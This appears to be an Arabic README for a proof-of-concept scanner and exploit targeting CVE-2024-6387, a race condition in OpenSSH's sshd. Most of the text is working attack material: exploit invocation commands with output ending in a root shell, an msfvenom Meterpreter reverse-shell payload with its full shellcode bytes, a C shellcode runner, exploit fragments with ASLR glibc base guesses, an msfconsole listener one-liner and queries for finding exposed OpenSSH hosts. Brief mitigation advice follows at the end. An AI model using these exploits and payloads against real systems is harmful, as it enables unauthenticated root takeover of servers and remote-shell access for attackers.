
PoC - ثغرة تنفيذ كود عن بُعد بدون مصادقة في خادم OpenSSH (ماسح واستغلال)
CVE-2024-6387 - PoCملاحظة: هذا السكربت عبارة عن نموذج PoC أولي سريع، توقع حدوث بعض الأخطاء والأعطال. تم اختباره على: Kali Linux و ParrotSec و Ubuntu 22.04
ثغرة تنفيذ كود عن بُعد دون مصادقة في خادم OpenSSH
تم العثور على حالة تسابق (race condition) في معالج الإشارات في خادم OpenSSH (sshd)، حيث إذا لم يقم العميل بالمصادقة خلال ثوانٍ LoginGraceTime (120 افتراضيًا، 600 في إصدارات OpenSSH القديمة)، يتم استدعاء معالج SIGALRM الخاص بـ sshd بشكل غير متزامن. ومع ذلك، يستدعي معالج الإشارة هذا دوالًا مختلفة غير آمنة للإشارات غير المتزامنة (async-signal-safe)، مثل syslog().
يمكنك العثور على التفاصيل التقنية هنا.
الخلل، الذي اكتشفه باحثون في Qualys في May 2024، وتم تخصيص المعرّف CVE-2024-6387 له، ناتج عن حالة تسابق في معالج الإشارات في sshd تسمح للمهاجمين البعيدين غير المصادق عليهم بتنفيذ كود عشوائي بصلاحيات الجذر (root).
«إذا لم يقم العميل بالمصادقة خلال ثوانٍ LoginGraceTime (120 افتراضيًا)، فإن معالج SIGALRM الخاص بـ sshd يُستدعى بشكل غير متزامن ويستدعي دوالًا مختلفة غير آمنة للإشارات غير المتزامنة،»
«يمكن للمهاجم البعيد غير المصادق عليه استغلال هذا الخلل لتنفيذ كود عشوائي بصلاحيات الجذر.»
المتطلب: أحدث إصدار من python3
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessإدارة التصحيحات: يعد التطبيق السريع للتصحيحات المتاحة لـ OpenSSH أمرًا بالغ الأهمية لسد فجوة الثغرة الأمنية. يضمن التصحيح في الوقت المناسب عدم إمكانية استغلال الثغرات المعروفة ضد أنظمتك، مما يقلل من الفرصة المتاحة للمهاجمين.
تعزيز التحكم في الوصول: يضيف تقييد الوصول إلى SSH من خلال ضوابط قائمة على الشبكة طبقة دفاع إضافية. يقلل هذا النهج من تعرض الأنظمة للمهاجمين المحتملين من خلال قصر اتصالات SSH على الشبكات أو عناوين IP المصرح بها فقط. يمكن لتنفيذ أدوات مثل قواعد جدار الحماية أو استخدام VPN للوصول الآمن أن يفرض هذه القيود بفعالية.
تقسيم الشبكة: يساعد تقسيم شبكتك إلى أجزاء في احتواء تأثير أي اختراق محتمل. من خلال فصل الأنظمة والبيانات الحساسة عن الأجزاء الأقل أهمية في شبكتك، فإنك تقلل من خطر الحركة الجانبية من قبل المهاجمين. يمكن استكمال هذا التقسيم بضوابط وصول صارمة ومراقبة لاكتشاف أي محاولات غير مصرح بها لاختراق هذه الأجزاء والاستجابة لها.
أنظمة كشف التسلل (IDS): يتيح نشر أنظمة كشف التسلل أو أنظمة منع التسلل (IPS) مراقبة فورية لحركة مرور الشبكة وسجلات النظام. يمكن لهذه الأنظمة اكتشاف الأنشطة المشبوهة ومحاولات الاستغلال المحتملة المرتبطة بثغرة regreSSHion. تتيح التنبيهات التي تُطلقها هذه الأنظمة التحقيق والتخفيف السريعين قبل وقوع ضرر كبير.
مراقبة محاولات الاستغلال: تعد المراقبة المستمرة لسجلات الشبكة والنظام أمرًا بالغ الأهمية. ابحث عن أي أنماط أو أنشطة غير معتادة قد تشير إلى محاولة استغلال ثغرة OpenSSH. يساعد هذا النهج الاستباقي في تحديد التهديدات والاستجابة لها قبل أن تتمكن من إحداث ضرر.